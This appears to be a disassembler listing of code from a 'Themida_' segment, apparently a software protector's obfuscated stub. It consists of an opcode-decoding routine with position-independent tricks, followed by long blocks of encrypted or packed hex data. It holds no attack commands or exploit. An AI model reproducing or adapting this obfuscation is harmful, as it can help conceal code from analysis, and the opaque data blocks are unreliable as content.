loc_594F41: ; DATA XREF: ___:off_4387F8o
mov [ebx], cl
jnz loc_594F64
movzx ecx, dl
inc dl
mov al, [edi+ecx]
movzx edi, al
shr edi, 1
mov [esi+ecx], al
add edi, 80h
jmp loc_594F69
; ---------------------------------------------------------------------------
loc_594F64: ; CODE XREF: Themida_:00594F43j
movzx edi, al
shr edi, 1
loc_594F69: ; CODE XREF: Themida_:00594F5Fj
push ebp
call $+5
pop ebp
sub ebp, 60892FBh
lea ebp, [ebp+6088FB9h]
add ebp, edi
mov bl, [ebp+0]
pop ebp
mov cl, al
and cl, 1
mov [ebp-7], cl
shl cl, 2
shr bl, cl
test bl, 8
mov [ebp-6], bl
jz loc_5950EB
mov ebx, [ebp+0Ch]
mov byte ptr [ebp+0Bh], 1
movzx ecx, dl
inc dl
mov bl, [ebx+ecx]
mov [ebp+17h], dl
mov dl, bl
mov [esi+ecx], bl
and dl, 7
movzx ecx, bl
cmp dl, 4
setz byte ptr [ebp-5]
shr ecx, 6
sub ecx, 0
jz loc_59502F
dec ecx
jz loc_595012
dec ecx
jnz loc_595082
cmp byte ptr [ebp-2], 0
jnz loc_59507E
cmp byte ptr [ebp-5], 0
jz loc_594FF1
mov byte ptr [ebp+0Bh], 2
loc_594FF1: ; CODE XREF: Themida_:00594FE7j
add byte ptr [ebp+0Bh], 4
push ebp
call $+5
pop ebp
sub ebp, 6089387h
mov dword ptr [ebp+60890D9h], 1
pop ebp
jmp loc_595082
; ---------------------------------------------------------------------------
loc_595012: ; CODE XREF: Themida_:00594FCCj
cmp byte ptr [ebp-2], 0
jnz loc_59505C
cmp byte ptr [ebp-5], 0
jz loc_59505C
mov byte ptr [ebp+0Bh], 2
jmp loc_59505C
; ---------------------------------------------------------------------------
loc_59502F: ; CODE XREF: Themida_:00594FC5j
cmp byte ptr [ebp-2], 0
jnz loc_595075
cmp byte ptr [ebp-5], 0
jz loc_595064
movzx ecx, byte ptr [ebp+17h]
mov edx, [ebp+0Ch]
mov cl, [edx+ecx]
and cl, 7
cmp cl, 5
jnz loc_59505C
mov [ebp+0Bh], cl
loc_59505C: ; CODE XREF: Themida_:00595016j
; Themida_:00595020j ...
inc byte ptr [ebp+0Bh]
jmp loc_595082
; ---------------------------------------------------------------------------
loc_595064: ; CODE XREF: Themida_:0059503Dj
cmp dl, 5
jnz loc_595082
mov [ebp+0Bh], dl
jmp loc_595082
; ---------------------------------------------------------------------------
loc_595075: ; CODE XREF: Themida_:00595033j
cmp dl, 6
jnz loc_595082
loc_59507E: ; CODE XREF: Themida_:00594FDDj
mov byte ptr [ebp+0Bh], 3
loc_595082: ; CODE XREF: Themida_:00594FD3j
; Themida_:0059500Dj ...
dec byte ptr [ebp+0Bh]
jz loc_5950B0
movzx ecx, byte ptr [ebp+0Bh]
mov [ebp+8], ecx
loc_595092: ; CODE XREF: Themida_:005950A8j
movzx esi, byte ptr [ebp+17h]
mov ecx, [ebp+0Ch]
mov edx, [ebp+10h]
inc byte ptr [ebp+17h]
dec dword ptr [ebp+8]
mov cl, [ecx+esi]
mov [edx+esi], cl
jnz loc_595092
mov esi, edx
loc_5950B0: ; CODE XREF: Themida_:00595085j
and al, 0FEh
cmp al, 0F6h
jnz loc_5950E5
cmp edi, 7Fh
ja loc_5950E5
test bl, 38h
jnz loc_5950E5
cmp byte ptr [ebp-7], 0
jz loc_5950DF
movzx eax, byte ptr [ebp-4]
jmp loc_5950E2
; ---------------------------------------------------------------------------
loc_5950DF: ; CODE XREF: Themida_:005950D0j
push 1
pop eax
loc_5950E2: ; CODE XREF: Themida_:005950DAj
mov [ebp-1], al
loc_5950E5: ; CODE XREF: Themida_:005950B4j
; Themida_:005950BDj ...
mov dl, [ebp+17h]
mov bl, [ebp-6]
loc_5950EB: ; CODE XREF: Themida_:00594F95j
mov al, bl
and eax, 7
sub eax, 4
jz loc_595116
dec eax
dec eax
jz loc_59510C
and bl, 7
add [ebp-1], bl
jmp loc_59511E
; ---------------------------------------------------------------------------
loc_59510C: ; CODE XREF: Themida_:005950FBj
mov al, [ebp-3]
add al, 6
jmp loc_59511B
; ---------------------------------------------------------------------------
loc_595116: ; CODE XREF: Themida_:005950F3j
mov al, [ebp-3]
add al, 4
loc_59511B: ; CODE XREF: Themida_:00595111j
add [ebp-1], al
loc_59511E: ; CODE XREF: Themida_:00595107j
mov al, [ebp-1]
dec byte ptr [ebp-1]
test al, al
jz loc_595146
movzx ecx, byte ptr [ebp-1]
inc ecx
loc_595131: ; CODE XREF: Themida_:00595140j
mov edi, [ebp+0Ch]
movzx eax, dl
inc dl
dec ecx
mov bl, [edi+eax]
mov [esi+eax], bl
jnz loc_595131
loc_595146: ; CODE XREF: Themida_:00595126j
pop edi
pop esi
mov al, dl
pop ebx
leave
retn
; ---------------------------------------------------------------------------
aLS_0 db '‹Ðè',7,0
align 4
dd 0EE4B1908h, 661CC24Fh, 5B1AB1B8h, 0C3C381F9h, 6000005Ch
dd 8F0F93B4h, 3, 61DF8B66h, 0B9h, 8BC78B00h, 0B2530B3Ch
dd 0EF8158EEh, 78AB8A45h, 81F1BF0Fh, 0D5AE46EFh, 58B0F64h
dd 66000000h, 0FD13C081h, 0E9A2C781h, 0EE929DFh, 2B000000h
dd 941C479Dh, 768102D9h, 38897B94h, 0B8665718h, 48F48CBh
dd 3E5BB80Bh, 890F0729h, 4, 0AB8AB866h, 5604E983h, 12E9h
dd 74C8ED00h, 0E7D5C551h, 0DD975B86h, 0DC119474h, 5E41CDF0h
dd 0A418F981h, 850FFFFFh, 1Eh, 0CE9h, 0C08EAF00h, 6B33AABAh
dd 0A6737084h, 29E9ABh, 0EF5E0000h, 0C6F109F4h, 0EE8D245h
dd 0AE000000h, 24832C86h, 1D9DF9EDh, 8DCD04C8h, 0E95EFCA3h
dd 0FFFFFF4Fh, 28862283h, 0EB970649h, 0E9E34E08h, 0E7339C2Bh
dd 0D79E977h, 0C2680000h, 0E9060897h, 0FFFAE78Dh, 898A868h
dd 0E783E906h, 7168FFFAh, 0E906089Ah, 0FFFAE779h, 89BAA68h
dd 0E76FE906h, 3368FFFAh, 0E906089Dh, 0FFFAE765h, 89F7268h
dd 0E75BE906h, 0D068FFFAh, 0E90608A0h, 0FFFAE751h, 8A1A668h
dd 0E747E906h, 6534FFFAh, 0DCB90C40h, 4A2CB1D7h, 0B65E23A1h
dd 29CE5331h, 0B766CC80h, 0E7E50EE3h, 6B797E12h, 99CFF486h
dd 85C6134h, 80193169h, 0FC71065Ah, 89A96A4Ch, 7648E84Fh
dd 2A1E9513h, 6C2AA243h, 99F3F899h, 7A1D70CCh, 2D581775h
dd 0B219A277h, 7E54F4h, 0A15B7512h, 0BE11089h, 74016C71h
dd 9EDE04Fh, 0BE1E4E4h, 52DBF2Ah, 710BE088h, 0BAD2D7B8h
dd 0B14445D7h, 0A2095C0Ch, 5F83A12Ah, 5812D4FFh, 0BE057F0h
dd 0E70CE971h, 3AA1E0E5h, 37567ABEh, 0AB3DC256h, 3DC6AB3Eh
dd 3E687C47h, 4967936Ah, 55000000h, 0B2DADFB0h, 1DA59D7h
dd 67618A6Ch, 65F0F99Ah, 5755208Fh, 0FF7D0F1Bh, 64F37511h
dd 1FB8904Ah, 9D710BDFh, 0F21A72CEh, 710BDF55h, 3F396DD3h
dd 936A4125h, 8B86DD7Eh, 0D0B83DD1h, 0F376E4B5h, 49DFF75h
dd 1E000001h, 2AA2432Ah, 7109B247h, 556254AEh, 0DE5A3F31h
dd 0AB4C238Eh, 967721h, 4446D03h, 0F792FA41h, 7C811479h
dd 25CEA342h, 264A26A3h, 0F16ABE78h, 4F770E02h, 266FF4Bh
dd 0FDA770Eh, 16E4C4A0h, 48770E07h, 0D24C00A5h, 0B22A3F01h
dd 5AD69177h, 0D5F6037h, 0D9910F7Ah, 0B9E22806h, 0C7BDBF0Ah
dd 9337A189h, 76E57511h, 31AA7E38h, 8F710B77h, 7F085CD8h
dd 70D89614h, 6F092842h, 601304D7h, 4B7E2094h, 6901D4EDh
dd 40029BAFh, 0EB7E7708h, 0DF99530Dh, 83FD24Bh, 3DBB2E77h
dd 0AE22C7A8h, 0F54736DBh, 0F008F44Dh, 0E0ADC453h, 0B9E6D6ACh
dd 0AC73CD1h, 9E80000h, 801DE0E4h, 0EE80157Bh, 5A3287C5h
dd 0CDA23755h, 13C2A024h, 5B09B247h, 0CF9D22F6h, 7D13987Ah
dd 0ECE005E8h, 0DC75D5D5h, 20710659h, 452AD390h, 0A209B244h
dd 65FE4A04h, 0DB770EF0h, 49DCB00Ch, 846901A6h, 0CB9ECEF3h
dd 0F05A196Dh, 0FF4B6785h, 7511FF4Dh, 0AC7414C3h, 710BDF2Fh
dd 51347FDh, 936A40FFh, 0D8F8h, 2404BE00h, 710BD3ABh, 75EE4A11h
dd 2AA2432Ah, 5F09B247h, 436434D9h, 0F4F7C5E5h, 6302770Eh
dd 65606891h, 9213FA8Fh, 0CAAD40FEh, 533A4F25h, 28D3A52h
dd 563BCAE4h, 575C3EADh, 9AD45035h, 0E3553FE0h, 94143534h
dd 4C5765C3h, 70CC60BDh, 1125CE58h, 0CB994C75h, 0D3D4B84Dh
dd 19FEA55h, 0C0C4C169h, 0A5306F08h, 1297780Dh, 0FD06EB7Eh
dd 0D6A0F3C2h, 0D30EDEE6h, 9E1h, 9ACEEF82h, 0F5D6637h
dd 0B92FD4BAh, 29BF40D4h, 5A0EB344h, 98792DE8h, 8E87D13h
dd 7E1CE1E7h, 0EB821775h, 0BBFF86CAh, 658F66Fh, 39BA4A71h
dd 376452Ah, 2E9D607Ah, 0DD21AA1Eh, 27026CBCh, 7BC6AD56h
dd 29D49C3Fh, 354A6B0Fh, 0D8AE0EC3h, 3341D9E8h, 0CDA11FEAh
dd 7C109578h, 886C0107h, 66FF4B67h, 0DA770EF0h, 39DCB10Fh
dd 8362D4B4h, 0C580C8F1h, 72731A6Fh, 8826511Eh, 0FB2C5AEEh
dd 0ECAA7511h, 0BD2C35Ch, 51CA5E71h, 0AF710BD2h, 0E7721938h
dd 0AD523ACBh, 0F16FB7D7h, 3710BD2h, 0B31E4E6Fh, 0CAB1DBDCh
dd 4D14A6EAh, 0BE57F3ADh, 2710BD2h, 0B1E5D957h, 6A309DA7h
dd 6685A93h, 0F0E50000h, 914B6785h, 0EF1782CEh, 2D8BCD20h
dd 11584F1Dh, 4E1ECD75h, 0B5829A6h, 1539E771h, 69B5F903h
dd 640F693h, 0F0010000h, 3609AD85h, 5933B85Ah, 72CD6B0Ch
dd 0CE47D9FEh, 1EA8AF2Ah, 5153F7B3h, 0EF7511BDh, 81CBEC80h
dd 0C76F79C4h, 710B7E4Ah, 0FBED12FAh, 117B8016h, 5AB339BEh
dd 0FB882961h, 1AA51539h, 0DEE6F226h, 99936A2Bh, 5F6h
dd 886C011Ah, 5F606567h, 0BDF9C798h, 3B926EE3h, 3CBAC545h
dd 0B1F0A682h, 0FC97511h, 0B78A23Bh, 0ED4B1E71h, 0C26A01D4h
dd 0F4F88FDCh, 0AAE9C1CCh, 0ED7BD757h, 76169B78h, 60F38413h
dd 0A74F81E7h, 45E59D68h, 0EAFBA1EFh, 2DC0FE6Dh, 0A2CAA64Bh
dd 0DDF323F4h, 5F1FFCB2h, 8D2B56E1h, 53983BF5h, 0C80AD44Fh
dd 0BBF3DB51h, 5E8FC65h, 0A45E1856h, 0F8660B84h, 0EEA71ECh
dd 5713947Bh, 66148D9Dh, 0FD68ECF8h, 0F79E6307h, 4D1ABFF6h
dd 0FDF6CC6h, 818D2h, 37B85B00h, 8A2FCC51h, 149D73C6h
dd 0E409ED70h, 777C1DE0h, 36649311h, 0A1345861h, 0D5B82CD1h
dd 5B2EA247h, 45D33B4h, 562DA682h, 0E1937106h, 0A2432A02h
dd 96B26C2Ah, 770EF0FDh, 0AF189443h, 575C3EE4h, 0ADC55035h
dd 739920F3h, 0BA3601Ah, 2AC39DADh, 0D2B97507h, 8A6D00BEh
dd 0F2BF8F65h, 1A710620h, 9015F86Fh, 2BC9B3FCh, 211ABB8Fh
dd 0C3967106h, 594C0F89h, 88AB5A91h, 0B84A4C2h, 7171066Dh
dd 947B0EEAh, 56B01FC0h, 47472411h, 632CC45h, 0D2763071h
dd 71063239h, 645D087h, 4E1B4D72h, 5126C7E3h, 90B8CCA8h
dd 710632E3h, 167A7F1Dh, 0AFCBEC83h, 757E10F5h, 0BD567613h
dd 3710632h, 68B0D854h, 0A5CDA2EBh, 0F688DC10h, 67CA9E1Fh
dd 0BB7D6F90h, 0FD69AC18h, 0EE4A2861h, 17ED41DEh, 0CB1F157Dh
dd 8227F598h, 4C219FCAh, 8D4004A9h, 12Dh, 0A2432A30h, 0CB5472Ah
dd 820DA5Ch, 770EF08Fh, 0AA827EEDh, 770EF031h, 9D732CC3h
dd 0A8DF8914h, 0E9A3DFDDh, 30FE5336h, 947B8A28h, 288413h
dd 75070346h, 0A30EA134h, 36E0D8D2h, 6DFBB56h, 0F1800000h
dd 683598CCh, 0D6B80D43h, 422ABF2Dh, 0B55A2FBDh, 2BEA580Ch
dd 73119A7Fh, 0E7E50AEEh, 157B8012h, 84C8ED80h, 0F46DBDFDh
dd 48710655h, 432A3BB8h, 8E6104A2h, 8E6A7F69h, 0C25538FEh
dd 993EAB3Dh, 17E1ED80h, 0B1D45089h, 20B5DBE0h, 7D3BA952h
dd 1C88B7DAh, 4622B08Fh, 0FAB4C23h, 4DDA997Eh, 812136C7h
dd 0C6AB3D88h, 4622892Eh, 31BA5F22h, 1A079479h, 0E6E64D72h
dd 986505E3h, 99AF2F7h, 0EA8FC70Bh, 39535839h, 545939ACh
dd 481D9BC9h, 0E54800A5h, 0E8FDEF14h, 889CA71Dh, 47996CD8h
dd 11h, 8A6C01F0h, 658A6261h, 978A6663h, 82h, 0A2432A2Eh
dd 85022Ah, 5B59770Fh, 17987F37h, 0E50EEC71h, 505538CDh
dd 3454593Dh, 6BB3DB51h, 770EE0EDh, 0CED2853Dh, 55D4A373h
dd 71A59917h, 32565B39h, 0A3482A41h, 0DEB64429h, 0EF0D14Ah
dd 6A8B6377h, 99D1BC2Bh, 279D26F4h, 3458C447h, 751BA072h
dd 0EE822A5h, 0F98C2A77h, 2E159318h, 996D4617h, 0E1AD48Eh
dd 770EF095h, 0B32C7CEBh, 9770EF0h, 8EF4E642h, 7FFFFFEh
dd 2F15Ah
dd 432AD900h, 175304A2h, 23667E49h, 739BF349h, 770ED4C6h
dd 2179AD91h, 563BA94Eh, 86AE3EBFh, 770ED4F9h, 7A3442Bh
dd 0D464FD4Dh, 0DD8770Eh, 0E590D7B7h, 0C59FABC7h, 0DC750768h
dd 678D0622h, 64F37106h, 8322A988h, 0E0D84F12h, 56322FBFh
dd 19000005h, 8217757Ah, 3184C8F1h, 0A3365A5Fh, 0D3A62ACBh
dd 5DD7B53Eh, 9E23F4A2h, 129367CAh, 0E009EB7Eh, 717619ECh
dd 0E4444213h, 7106536Bh, 2A4C2FD1h, 33B85A43h, 0B85924A4h
dd 0C7029AF9h, 7C1D05D6h, 767E7F15h, 9EF25993h, 0D43640Bh
dd 0BAD2D7B8h, 0BEB35BFCh, 94C5F512h, 1FA47518h, 3266DE4Dh
dd 7E129778h, 6D0FAFB5h, 230A899h, 0F0CB0000h, 0DE666686h
dd 0ACE55ADFh, 0BCAFF321h, 2A63CB1Bh, 20087B90h, 7820BFA7h
dd 7DFB4615h, 7F1D2E36h, 208299Ah, 0F04A0000h, 0E0486686h
dd 770EF067h, 0BE4606D5h, 0ACE55ABFh, 9CCF1301h, 1CE1F5FBh
dd 2EC64493h, 3F8ADF89h, 186A7241h, 0DB659A7Fh, 96000001h
dd 486686F0h, 0F021BA8Eh, 0C89F770Eh, 7116326Ch, 0CF770EF0h
dd 0C9A87018h, 17ACE55Ah, 0CC86E529h, 1FF2E37Ch, 0F4B25978h
dd 1FF2BB54h, 0DE5A0178h, 7E4FCFD5h, 1A0889Ah, 2DEE0000h
dd 4FA19FC0h, 970CE811h, 30D95E01h, 580AF1BAh, 8B2953DCh
dd 0ECBA5BEFh, 0A336770Eh, 57220129h, 0C86EACE5h, 0F6A13A0Eh
dd 481F781Fh, 9C84C8ECh, 9A7E5488h, 16547h, 432AF000h
dd 0B0472AA2h, 632E590Fh, 866A2D45h, 95C6EB0Ch, 0F9510FE5h
dd 75119023h, 0D807D586h, 0FB8AC62h, 83C590B1h, 0B6DDE7Bh
dd 0A2F62A71h, 69CAAEB6h, 7D10F593h, 0EF8D1078h, 78C782CAh
dd 4B9EFCh, 0F0190000h, 0FF4B6785h, 7511FF4Dh, 0C55EEAA4h
dd 3B710BDFh, 6AF1D0ACh, 1DB6924Ch, 4710BE0h, 0BDFAB24h
dd 4B4A1171h, 0CE48209Ch, 0D8545D3Fh, 0BDF53F0h, 3F63D171h
dd 6A412339h, 62C68093h, 710BD3E9h, 36248057h, 0BCh, 68432A41h
dd 0E8ED649Ch, 0C79F09D7h, 820A9728h, 0EBACCA51h, 59D80159h
dd 4424806Ah, 5A5B33D2h, 0F1B5732h, 770E8F96h, 0EC817FEAh
dd 1BE6E60Bh, 0B4197374h, 6088DCE1h, 770E9492h, 0F35729CCh
dd 770E8B5Ah, 0AA433A6h, 0CEE977Bh, 2F4718E7h, 641EBE98h
dd 18573BB1h, 17334F6Dh, 750C3508h, 7015AD38h, 0E3761A9Fh
dd 0D3CAE50Eh, 0EE0D53Ch, 317E37Eh, 0B9580000h, 30CD5034h
dd 9E70C58Bh, 0AE27715h, 7D12E7E5h, 63921074h, 0B596237h
dd 0BF2DD2A6h, 2DA3482Ah, 5C30B558h, 2CA58505h, 90710651h
dd 452A03E0h, 48E0B444h, 770EF0CFh, 0B9D3BE2Dh, 0BE03412Ch
dd 0C1B2D6D7h, 2AA2432Ah, 590FB047h, 0EF113B1h, 6E8CF777h
dd 14F6F850h, 0A1347512h, 4701B023h, 0EF06AE3h, 93D0A877h
dd 2F6D8CB1h, 0E68B61F4h, 3DD0EE0Fh, 54315B60h, 4A2DB0D8h
dd 0A837BC5Dh, 31008B24h, 0E998019h, 8269FC77h, 0A98E44E4h
dd 590C7511h, 0A96AE70Fh, 7AA6710Bh, 73A4256h, 3835936Ah
dd 46000000h, 4B6785F0h, 65E0CE91h, 0B1B439C1h, 0E820099h
dd 2E97C77h, 90F486A6h, 0FF6A7511h, 0B85A2BEDh, 0B00C5933h
dd 0B72FB98h, 0C70B0971h, 69D3CBD1h, 0B78493h, 2A370000h
dd 6104A243h, 0BB7D6F94h, 0EF0F66Fh, 309F4A77h, 0A849D4B4h
dd 11E44903h, 7E11FCECh, 0F5C36B79h, 2F770EF4h, 5C21A748h
dd 135434B9h, 1C2C4A68h, 751209EEh, 0DCEBF96Ch, 4C27CBB1h
dd 8D02CCA1h, 0FA412C9Eh, 15776CBCh, 0DEB56F09h, 0B1D4B43Dh
dd 19F98C2Ah, 0C091F494h, 96985507h, 2967DDA6h, 5A0EB344h
dd 44A33BDCh, 7A2233C2h, 0FD06EBFEh, 0D6DBCDC2h, 0E17C0CE6h
dd 1B9h, 0F29617FAh, 67658E6Fh, 91F7FC92h, 147680Ch, 0B2D6DBBCh
dd 0C0510530h, 30C0553Bh, 0A674D98Fh, 13FA4F1Dh, 0E3A7FE92h
dd 650CE47h, 0E1823271h, 28BC452Ah, 5F0DB245h, 6785F024h
dd 0FF4DFF4Bh, 14C37511h, 0DF2FAC74h, 2FC1710Bh, 9B7FC28Ah
dd 2B09721Ah, 100C57E7h, 2FCCA1CCh, 0DF58F159h, 31A4710Bh
dd 0C9A722AAh, 6A40E2FAh, 0B69D93h, 2A1E0000h, 472AA243h
dd 981DF1B2h, 21F695F0h, 0B35B0D98h, 770EF5C5h, 5A5F31D4h
dd 0C3E48BDEh, 5055388Dh, 0E6048F38h, 0A5260C8h, 15C07512h
dd 5724C977h, 13AF3A52h, 0BC99E37h, 0F977E271h, 0DA5434Eh
dd 965073Dh, 98D6856Fh, 0CC9C21F5h, 80652399h, 3386CAEFh
dd 0EF1A555Eh, 72E6D64Ch, 0E3479Ah, 0ED8C0000h, 643184C8h
dd 0D2A4095Fh, 3ED6BB29h, 0B1462BB9h, 2FEE4408h, 7F6D967Bh
dd 0E3E106EAh, 11777C1Eh, 80C4E98Ch, 0F891B9F1h, 4471064Fh
dd 452A37B4h, 0B24528BCh, 956522F5h, 866D7810h, 31EB553Bh
dd 0EF08019h, 0D7A3FC77h, 0E93ADEF5h, 0E96AC6ADh, 2AA2432Ah
dd 590FB047h, 2D45632Eh, 5731BA58h, 3ABB5F32h, 954600BEh
dd 0F08C1D3Dh, 44D4BB7Fh, 27E5C5A3h, 1575074Bh, 0D4BB0646h
dd 4528BDD3h, 310028A0h, 4753E705h, 0AEDA5E9h, 7B12E7E5h
dd 0E78F127Ah, 49F7A8C6h, 96FAD87Ch, 0F8E38B61h, 3BF590C4h
dd 256076EFh, 0A11FCA4Bh, 997C29CCh, 0E4E409ECh, 0EC451AE1h
dd 120BFD05h, 0C699D1BCh, 987F975Ch, 4F107517h, 67034CE8h
dd 25A94AC3h, 4523B64Bh, 34B95C21h, 3B954h, 3C40000h, 0A6472A80h
dd 33B45B26h, 9D26F459h, 6D9266CBh, 0F801967Bh, 476C0D90h
dd 0D3D4B805h, 0B942D4B9h, 8B1422Fh, 89570B40h, 4C781E7h
dd 83000000h, 3C8704EFh, 1C895C24h, 0E7895724h, 4C781h
dd 0EF830000h, 243C8704h, 243C895Ch, 56BD68h, 240C8900h
dd 461BBD55h, 0BB530D50h, 14007B7Dh, 815BDD29h, 682F64CDh
dd 0E5F5815Bh, 0F7377211h, 0FAF581D5h, 8935EA97h, 0D1685DEFh
dd 89000067h, 4812424h, 424h, 89525900h, 85189FAh, 8124148Bh
dd 4C4h, 240C8B00h, 81E28952h, 4C2h, 4C28100h, 87000000h
dd 0FF5C2414h, 835F2434h, 22E904C4h, 96FFFADAh, 0B8BBBB27h
dd 608A2AEh, 0E0FFC503h, 3D54837Dh, 676D1F8Fh, 766AF670h
dd 6D139D14h, 39EA06F3h, 4690EAD8h, 6CA8D110h, 375BE980h
dd 2B07CC5h, 55A2761Eh, 170501D2h, 27E9E08Fh, 2F77991Fh
dd 18E1D9EFh, 2D9849EFh, 6645993Fh, 15CE9h, 0FE1F5300h
dd 0E64BF5F0h, 0F458AB96h, 0FF56360Ah, 0FC567E53h, 0F758D00Ah
dd 0DC713E53h, 8E245E3Ah, 0AE254B53h, 1A794DC4h, 0C9B68760h
dd 0B8148A52h, 0B8151153h, 0B8149C53h, 0B8144A53h, 0B8142753h
dd 0B8149353h, 0B814E653h, 0B814E453h, 0B8147A53h, 0B8143953h
dd 0CB6DCF53h, 0B8792B27h, 0D7667773h, 0CB67F630h, 0B814C90Eh
dd 0B814E453h, 0B8147253h, 0B8143953h, 0B8149C53h, 0B8144E53h
dd 0B8142753h, 0B8149353h, 0B814C953h, 0B814E453h, 0B8147253h
dd 0B8143953h, 0B8149C53h, 0B8144E53h, 0B8142753h, 0B8149353h
dd 0B814C953h, 0B814E453h, 0B8147253h, 0B8143953h, 0B8149C53h
dd 0B8144E53h, 0B8142753h, 0B8149353h, 0B814C953h, 0B814E453h
dd 0B8147253h, 0B8143953h, 0B8149C53h, 0B8144E53h, 0B8142753h
dd 0B8149353h, 0B814C953h, 0B814E453h, 0B8147253h, 0B8143953h
dd 0B8149C53h, 0B8144E53h, 0B8142753h, 0B8149353h, 0B814C953h
dd 0B814E453h, 0B8147253h, 0B8143953h, 0B8149C53h, 0B8144E53h
dd 0B8142753h, 0B8149353h, 0B814C953h, 0B814E453h, 0B8147253h
dd 0B8143953h, 0B8149C53h, 0B8144E53h, 0B8142753h, 0B8149353h
dd 0B814C953h, 0B814E453h
dd 0B8147253h, 0B8143953h, 0B8149C53h, 5D198853h, 1764E941h
dd 0E7680000h, 0E90608A6h, 0FFFB9D5Ch, 8A7BB68h, 9D52E906h
dd 9568FFFBh, 0E90608A8h, 0FFFB9D48h, 8A94468h, 9D3EE906h
dd 0EF68FFFBh, 0E90608AAh, 0FFFB9D34h, 8AC8D68h, 9D2AE906h
dd 7468FFFBh, 0E90608ADh, 0FFFB9D20h, 8AE8168h, 9D16E906h
dd 9A68FFFBh, 0E90608B0h, 0FFFB9D0Ch, 8B18F68h, 9D02E906h
dd 6C68FFFBh, 0E90608B2h, 0FFFB9CF8h, 8B2FC68h, 9CEEE906h
dd 6368FFFBh, 0E90608B4h, 0FFFB9CE4h, 8B9B068h, 9CDAE906h
dd 0DE68FFFBh, 0E90608BAh, 0FFFB9CD0h, 52C06E89h, 0C250FA1Ch
dd 7CEE88ACh, 0E2701E3Eh, 1D0FA7CCh, 4B68F109h, 0DBFBB9ABh
dd 6E97D547h, 52046D4h, 70ADF765h, 0A9254911h, 0D2E7B7A1h
dd 258ADCB7h, 3D5AA1A9h, 0B4581899h, 5FC790Ch, 441F3AE0h
dd 58663DDEh, 0ADC4B150h, 3C2ECCE9h, 8AAF8B0Fh, 0A45A682Bh
dd 95148CADh, 0A25BF8F2h, 2D0FC4A1h, 0FC4E4AE5h, 0C2DA5DE2h
dd 6A560037h, 46CFAE98h, 0D4000000h, 7C571074h, 0A7A1806Ah
dd 6C0A2E94h, 7649ECACh, 0ADA4915Bh, 0DDBC3DE5h, 0A1A29191h
dd 1A9B3B59h, 1F9E4058h, 0A60BE1B6h, 0C7DEF510h, 0A1A29193h
dd 83C0B56Dh, 8ECD79A9h, 6323AE98h, 2DD7A244h, 0D8h, 6C4762B6h
dd 0A7A1807Ah, 94BD1C84h, 4FB74C0Fh, 25996Ch, 0C1A0FF5Ah
dd 0A7A1F499h, 0ABCABF67h, 57F3168Ch, 41E300A2h, 44048525h
dd 6C260584h, 58DAAF47h, 5E1C9D3Dh, 0CC8D9F3Bh, 0A7A1F1D3h
dd 0C654F613h, 0BFE785A0h, 51626323h, 0E5FC5935h, 0ADA4E166h
dd 95C5DCFBh, 63A1A210h, 0D242C6B3h, 742E4540h, 7434B54Dh
dd 0A210C595h, 0F68333A1h, 0C86D494Dh, 0A4A16EE9h, 0F2AEAABh
dd 44D67097h, 0E5000126h, 0A8C0DC8Ah, 9B7A3AABh, 0ABA8C0CFh
dd 0D9C98909h, 28C46E26h, 0A9657CF5h, 0E2000014h, 713725C9h
dd 1A7B555h, 93D143E3h, 2147D579h, 0E6F66402h, 0A6CD96h
dd 9C365C12h, 29C9E88Eh, 0BA60853Bh, 0B40F16A8h, 0A1A92622h
dd 5378CDCh, 942A38DEh, 1C5BC971h, 17321074h, 80F199F8h
dd 970FA7A1h, 0ED0827E2h, 0A180C492h, 8CE732A7h, 0A7A180DAh
dd 0C9BC7C24h, 0A4913B56h, 5C5DC5ADh, 0A291B13Dh, 76D68DA1h
dd 988F02B4h, 0B57BAEh, 5000000h, 792BDBE0h, 7F9F35E5h
dd 77BEC3C6h, 0C08067h, 0A6CD81h, 0C9B1EE81h, 0D4F1A7A1h
dd 63862436h, 91F5C6C7h, 0E9E892B7h, 7352F7B7h, 0ADA4C8F4h
dd 9D829000h, 1D381DF9h, 0A2E8D482h, 877222A1h, 46FD6948h
dd 9B1BABA4h, 47DF04BEh, 0D47097D5h, 594909B1h, 28C443B0h
dd 0D59B827Fh, 0BE000013h, 4D63F19Dh, 0DD938129h, 6F0D1FB7h
dd 0FDB3A14Dh, 0DA2230D6h, 0DC7A99C2h, 680A284Eh, 59DC4FAh
dd 96345117h, 4023FA84h, 0A1A92716h, 62E3D8E0h, 44660620h
dd 0A56527A6h, 81A66424h, 759210E5h, 82D43D1h, 46474860h
dd 33AC0E2Ch, 0D49415D5h, 5590614h, 0FBBB3AE0h, 882E3CDEh
dd 0CAEC86Ch, 8A0BCB8Dh, 1F0DADC8h, 0FE9A0457h, 0D3EE0520h
dd 0A180E6F0h, 83A210A7h, 0FB5A2FEFh, 0ADA4B038h, 647BE45Ch
dd 99289E6Dh, 73D6B4D0h, 9F3B5E54h, 0D2F06BEAh, 825D5029h
dd 81971151h, 5D33C65Bh, 0B3D7E4E5h, 1F1372D7h, 30AE3734h
dd 0B42CBA15h, 6A2AAE36h, 0AC89099Fh, 0F373D915h, 87726AEDh
dd 892F4A48h, 8DCFCE6Ch, 0FC195FCDh, 56C54E5Eh, 9F522652h
dd 12FB84h, 0D7779000h, 67032745h, 0F591B7F5h, 87274167h
dd 16B0D795h, 73E83004h, 2A0B254h, 9EDC4EE4h, 2B49DB77h
dd 0A4FE6C0Eh, 28706679h, 0FE8EA1A9h, 3AE00585h, 300E8ABBh
dd 9453BA15h, 4DF5ADA4h, 0DC7C99DFh, 515010BAh, 0EF4A286Ch
dd 0A9309194h, 1633E3ABh, 74D1799Ch, 37104659h, 36EEABAAh
dd 7F9AB343h, 0AA377264h, 61148CABh, 8302A8CDh, 0DEFAD6B2h
dd 0C2DD7838h, 0A1A19327h, 0C9E441F1h, 0E90A0F36h, 6B1E28A5h
dd 1E0CAECBh, 0B9DA643Fh, 4B8C86D2h, 39E104BEh, 330F8BB8h
dd 34A4BF16h, 0F0A0BFB0h, 0D2E26DE0h, 0DCC7BA34h, 124Ch
dd 0EA782641h, 1A08B2D4h, 0B4A64064h, 3A28D6F6h, 55C75F84h
dd 3203941h, 93B3F163h, 264F6DFFh, 0BDD89E8Ch, 0A8750F1Dh
dd 0A92981C9h, 542F7FA1h, 1E3ADE05h, 87477978h, 23C3E0A2h
dd 15898C56h, 77BC49F1h, 0B3123713h, 0ADA49CF8h, 33A73E55h
dd 0CDA1A29Ch, 0D7739755h, 6DE396D6h, 537634B5h, 0E207A5B7h
dd 0C362B938h, 7B4B4F05h, 9C4134D9h, 0A43F1AF8h, 0ABA74ADDh
dd 4762C77Fh, 0A68C7A6Ch, 691C84ABh, 952D5416h, 96345614h
